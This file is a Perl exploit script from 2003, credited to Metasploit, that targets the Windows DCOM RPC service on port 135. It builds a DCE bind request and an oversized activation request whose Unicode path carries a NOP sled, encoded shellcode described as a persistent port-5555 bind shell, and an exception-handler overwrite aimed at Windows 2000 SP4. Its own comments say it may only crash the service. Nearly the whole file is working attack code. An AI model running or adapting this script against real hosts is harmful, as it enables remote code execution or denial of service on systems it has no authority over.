#!/usr/bin/perl -w
##################

##
#        Title: dcom2_closer.pl
#      Purpose: Not quite an exploit, not just a crash :)
#       Author: H D Moore <hdm@metasploit.com>
#    Copyright: Copyright (C) 2003 METASPLOIT.COM
##


##
# The game plan:
#
# 1) The first exception is a mov [edx], ecx where we only control edx, however
#    ecx points about 36 bytes before the original filename. We set edx to be the
#    top-level exception handler for the target service pack.
#
# 2) The second exception is a mov [eax + 4], ecx, but since all we care about is triggering
#    the exception handler, this can be any non-valid address. However this address is the
#    first four byte of where ecx points, so when execution jumps there we want it to do a
#    short jump to land in the nop sled stored in the file name. So we set this to 0x22eb22eb
#
# 3) Wish it worked :)
#
##


use strict;
use POSIX;
use IO::Socket;
use IO::Select;


my $target_host = shift() || "127.0.0.1";
my $target_port = shift() || 135;


my $res;

my $s = IO::Socket::INET->new
(
    PeerAddr => $target_host, 
    PeerPort => $target_port,
    Protocol => "tcp",
    Type     => SOCK_STREAM
);

if (! $s)
{
    print "\n[*] Could not connect to target: $!\n";
    exit(0);
}

select($s); $|++;
select(STDOUT); $|++;
UnblockHandle($s);

my $payload =  # persistent port 5555 bind with heap fixer
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
    "\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\xa1".
    "\xff\xff\xff\x81\x36\x98\x71\x3a\xdf\x81\xee\xfc\xff\xff\xff\xe2".
    "\xf2\xeb\x05\xe8\xe2\xff\xff\xff\x73\x72\x61\x34\xb5\x99\xc2\x20".
    "\x67\x8e\x79\x92\xdc\x71\xdd\xa6\x5e\x08\xdf\x96\x1e\x38\x9e\x72".
    "\xb6\x98\x9e\xc5\xe8\xb6\xe3\xd6\x6d\xdc\xf1\x32\x64\x4a\x6d\x8c".
    "\xaa\x2e\x09\xed\xb6\x35\x76\x93\x98\x70\x6e\x56\x7d\xf8\x67\xdf".
    "\xf2\x41\x63\xbb\x13\x70\xb1\x9f\x94\xfa\x4a\xc3\x35\xfa\x4a\xd7".
    "\xce\x19\xdd\x5b\xf1\xc5\xd2\x12\x98\x71\x3a\xee\x4a\xc8\xc5\x20".
    "\x98\x71\x6b\x8e\xca\x8e\xea\xee\x51\x15\xb1\xd6\x11\x70\x6c\xb7".
    "\x16\x3f\x34\x33\x70\xde\x3a\xdf\x98\x17\xbb\x1c\x84\x71\x69\x20".
    "\x48\xf8\x7f\xdb\x11\xb2\x6c\xb7\xea\x8f\x89\xc9\x70\xe6\x3a\xdf".
    "\x98\xf8\x7f\xd7\xf2\x79\x64\xde\x76\x1b\x3c\x86\x13\x0c\x3a\x8e".
    "\xcb\x8e\x0e\x50\x70\x0e\x3a\xdf\x98\x28\xb3\xdb\x16\x93\xca\xee".
    "\x67\xf0\xd6\x4f\x99\x71\x3a\x8b\xf0\x70\x3b\xdf\x98\x8e\x6f\xff".
    "\xc8\x21\x6a\x8f\xd8\x21\x7a\x8f\x67\x24\x26\x56\x5b\x26\x6d\xb7".
    "\x9a\x71\x2f\x6c\x11\x90\x50\xcf\xc9\x22\xc5\x8a\x80\x26\x69\x20".
    "\xcd\x65\x6d\x8e\xcb\x8e\x6f\xcf\x11\xb3\xbb\x33\xcc\x71\x3a\xdf".
    "\x15\x4d\x1e\xee\x58\x1b\x2f\x86\x6b\xda\xfc\x9b\xbc\x61\x7e\x21".
    "\xdc\x55\x07\x56\xcc\x55\x72\x56\xcc\x55\x76\x56\xcc\x55\x6a\x52".
    "\xdc\x55\x2a\x8b\xc8\x20\x6b\x8e\xd9\x20\x73\x8e\xc9\x8e\x4f\xdf".
    "\xc9\x8e\x6f\xd7\x11\x90\xd1\x65\xcb\x24\x6c\x88\x13\x1d\x1e\xc7".
    "\x13\x34\x06\x54\xcc\x74\x42\xde\x72\xfa\x70\xc7\x13\x2b\x1a\xde".
    "\x73\x92\x08\x96\x13\x45\xb1\xde\x76\x40\xc5\x23\xa9\xb1\x96\xe7".
    "\x78\x05\x3d\x1e\x57\x7c\x3b\x18\x73\x83\x01\xa3\xbc\x65\x4f\x3e".
    "\x13\x2b\x1e\xde\x73\x17\xb1\xd3\xd3\xfa\x60\xc3\x99\x9a\xb1\xdb".
    "\x13\x70\xd2\x34\x9a\x40\xfa\x56\x72\x2e\x64\x82\xc3\xb3\x32\xdf";



my $ISystemActivator = "\xa0\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46";
my $IRemoteActivator = "\x36\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46";

my $r_bind = dce_bind($ISystemActivator);

my $r_dcex =

    "\x05".             # Major Version
    "\x00".             # Minor Version
    "\x00".             # Request
    "\x03".             # Flags

    "\x10\x00\x00\x00". # Data Representation

    "\xE8\x03".         # Frag Length
    "\x00\x00".         # Auth Length
    "\xE5\x00\x00\x00". # Call ID
    "\xD0\x03\x00\x00". # Alloc Hint
    "\x01\x00".         # Context ID
    "\x04\x00".         # Opnum
    
    # Stub Data
    "\x05\x00".
    "\x06\x00\x01\x00\x00\x00\x00\x00\x00\x00\x32\x24\x58\xFD\xCC\x45".
    "\x64\x49\xB0\x70\xDD\xAE\x74\x2C\x96\xD2\x60\x5E\x0D\x00\x01\x00".
    "\x00\x00\x00\x00\x00\x00\x70\x5E\x0D\x00\x02\x00\x00\x00\x7C\x5E".
    "\x0D\x00\x00\x00\x00\x00\x10\x00\x00\x00\x80\x96\xF1\xF1\x2A\x4D".
    "\xCE\x11\xA6\x6A\x00\x20\xAF\x6E\x72\xF4\x0C\x00\x00\x00\x4D\x41".
    "\x52\x42\x01\x00\x00\x00\x00\x00\x00\x00\x0D\xF0\xAD\xBA\x00\x00".
    "\x00\x00\xA8\xF4\x0B\x00\x60\x03\x00\x00\x60\x03\x00\x00\x4D\x45".
    "\x4F\x57\x04\x00\x00\x00\xA2\x01\x00\x00\x00\x00\x00\x00\xC0\x00".
    "\x00\x00\x00\x00\x00\x46\x38\x03\x00\x00\x00\x00\x00\x00\xC0\x00".
    "\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x30\x03\x00\x00\x28\x03".
    "\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xCC\xCC\xCC\xCC\xC8\x00".
    "\x00\x00\x4D\x45\x4F\x57\x28\x03\x00\x00\xD8\x00\x00\x00\x00\x00".
    "\x00\x00\x02\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xC4\x28\xCD\x00\x64\x29".
    "\xCD\x00\x00\x00\x00\x00\x07\x00\x00\x00\xB9\x01\x00\x00\x00\x00".
    "\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\xAB\x01\x00\x00\x00\x00".
    "\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\xA5\x01\x00\x00\x00\x00".
    "\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\xA6\x01\x00\x00\x00\x00".
    "\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\xA4\x01\x00\x00\x00\x00".
    "\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\xAD\x01\x00\x00\x00\x00".
    "\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\xAA\x01\x00\x00\x00\x00".
    "\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\x07\x00\x00\x00\x60\x00".
    "\x00\x00\x58\x00\x00\x00\x90\x00\x00\x00\x40\x00\x00\x00\x20\x00".
    "\x00\x00\x78\x00\x00\x00\x30\x00\x00\x00\x01\x00\x00\x00\x01\x10".
    "\x08\x00\xCC\xCC\xCC\xCC\x50\x00\x00\x00\x4F\xB6\x88\x20\xFF\xFF".
    "\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10".
    "\x08\x00\xCC\xCC\xCC\xCC\x48\x00\x00\x00\x07\x00\x66\x00\x06\x09".
    "\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\x10\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00".
    "\x00\x00\x78\x19\x0C\x00\x58\x00\x00\x00\x05\x00\x06\x00\x01\x00".
    "\x00\x00\x70\xD8\x98\x93\x98\x4F\xD2\x11\xA9\x3D\xBE\x57\xB2\x00".
    "\x00\x00\x32\x00\x31\x00\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x80\x00".
    "\x00\x00\x0D\xF0\xAD\xBA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x18\x43\x14\x00\x00\x00\x00\x00\x60\x00".
    "\x00\x00\x60\x00\x00\x00\x4D\x45\x4F\x57\x04\x00\x00\x00\xC0\x01".
    "\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\x3B\x03".
    "\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\x00\x00".
    "\x00\x00\x30\x00\x00\x00\x01\x00\x01\x00\x81\xC5\x17\x03\x80\x0E".
    "\xE9\x4A\x99\x99\xF1\x8A\x50\x6F\x7A\x85\x02\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x01\x00\x00\x00\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x30\x00".
    "\x00\x00\x78\x00\x6E\x00\x00\x00\x00\x00\xD8\xDA\x0D\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x20\x2F\x0C\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x46\x00".
    "\x58\x00\x00\x00\x00\x00\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x10\x00".
    "\x00\x00\x30\x00\x2E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xCC\xCC\xCC\xCC\x68\x00".
    "\x00\x00\x0E\x00\xFF\xFF\x68\x8B\x0B\x00\x02\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00";



my $r_size =  #         The unicode path starts here > \\  00  \\  00
    "\x20\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x5C\x00\x5C\x00";

my $r_end =
    "\x5C\x00\x43\x00\x24\x00\x5C\x00\x31\x00\x32\x00\x33\x00\x34\x00".
    "\x35\x00\x36\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00".
    "\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00".
    "\x31\x00\x2E\x00\x64\x00\x6F\x00\x63\x00\x00\x00\x01\x10\x08\x00".
    "\xCC\xCC\xCC\xCC\x20\x00\x00\x00\x30\x00\x2D\x00\x00\x00\x00\x00".
    "\x88\x2A\x0C\x00\x02\x00\x00\x00\x01\x00\x00\x00\x28\x8C\x0C\x00".
    "\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00";

# Create the base of the unicode path
my $r_path = "127.0.0.1\\IPC\$\\";
my $r_shell;

my $shellcode = ("\x90" x 3500);

substr($shellcode, 0, 512, $payload);              # the actual payload
substr($shellcode, 534, 4, pack("L", 0x22eb22eb)); # trigger exception dereferencing and jmp short 36
substr($shellcode, 538, 4, pack("L", 0x7c54144c)); # overwrite the exception handler with shellcode location
                                    # Win2K SP4
                                    
foreach (split(//, $r_path))  { $r_shell .= $_ . "\x00" }
$r_shell .= $shellcode;

# This has to be length() % 12 == 0
while (length($r_shell) % 12 != 0) { $r_shell .= "X" }

my $exploit = $r_dcex;
my $sc_len = length($r_shell);

substr($r_size, 0, 4, pack("L", unpack("L", substr($r_size, 0, 4)) + ($sc_len / 2)));
substr($r_size, 8, 4, pack("L", unpack("L", substr($r_size, 8, 4)) + ($sc_len / 2)));

$exploit .= $r_size;
$exploit .= $r_shell;
$exploit .= $r_end;

my $dce_clen = ($sc_len - 0x0c);

# And you thought the C version was hard to read :)
substr($exploit, 0x08, 4, pack("L", unpack("L", substr($exploit, 0x08, 4)) + ($sc_len - 0x0c)));
substr($exploit, 0x10, 4, pack("L", unpack("L", substr($exploit, 0x10, 4)) + ($sc_len - 0x0c)));
substr($exploit, 0x80, 4, pack("L", unpack("L", substr($exploit, 0x80, 4)) + ($sc_len - 0x0c)));
substr($exploit, 0x84, 4, pack("L", unpack("L", substr($exploit, 0x84, 4)) + ($sc_len - 0x0c)));
substr($exploit, 0xb4, 4, pack("L", unpack("L", substr($exploit, 0xb4, 4)) + ($sc_len - 0x0c)));
substr($exploit, 0xb8, 4, pack("L", unpack("L", substr($exploit, 0xb8, 4)) + ($sc_len - 0x0c)));
substr($exploit, 0xd0, 4, pack("L", unpack("L", substr($exploit, 0xd0, 4)) + ($sc_len - 0x0c)));
substr($exploit, 0x18c,4, pack("L", unpack("L", substr($exploit, 0x18c,4)) + ($sc_len - 0x0c)));

print $s $r_bind;
$res = ReadResponse($s);

if (! $res) { print "[*] No response to bind call.\n"; exit(0); }

print $s $exploit;
$res = ReadResponse($s);

close($s);


sub ReadResponse {
    my ($s) = @_;
    my $sel = IO::Select->new($s);
    my $res;
    my @fds = $sel->can_read(4);
    foreach (@fds) { $res .= <$s>; }
    return $res;
}

sub UnblockHandle {
    my ($fd) = @_;
    my $flags = fcntl($fd, F_GETFL,0);
    fcntl($fd, F_SETFL, $flags|O_NONBLOCK);
}


sub dce_bind {
    my ($uuid) = @_;
    return
    
    "\x05".             # Major Version
    "\x00".             # Minor Version
    "\x0B".             # Bind Call
    "\x03".             # Flags

    "\x10\x00\x00\x00". # Data Representation

    "\x48\x00".         # Frag Length

    "\x00\x00".         # Auth Length
    "\x7F\x00\x00\x00". # Call ID


    "\xD0\x16".         # Max Xmit Frag
    "\xD0\x16".         # Max Recv Frag
    "\x00\x00\x00\x00". # Assoc Group
    "\x01".             # Number of ctx items
    "\xff\x00\x00".     # Filler
    "\x01\x00".         # Context ID
    "\x01\x00".         # Number of transfer items
    
    $uuid.

    "\x00\x00".         # Interface Version Major
    "\x00\x00".         # Interface Version Minor

    # Transfer Syntax
    "\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60".

    "\x02\x00\x00\x00"; # Syntax Version 2.0
}
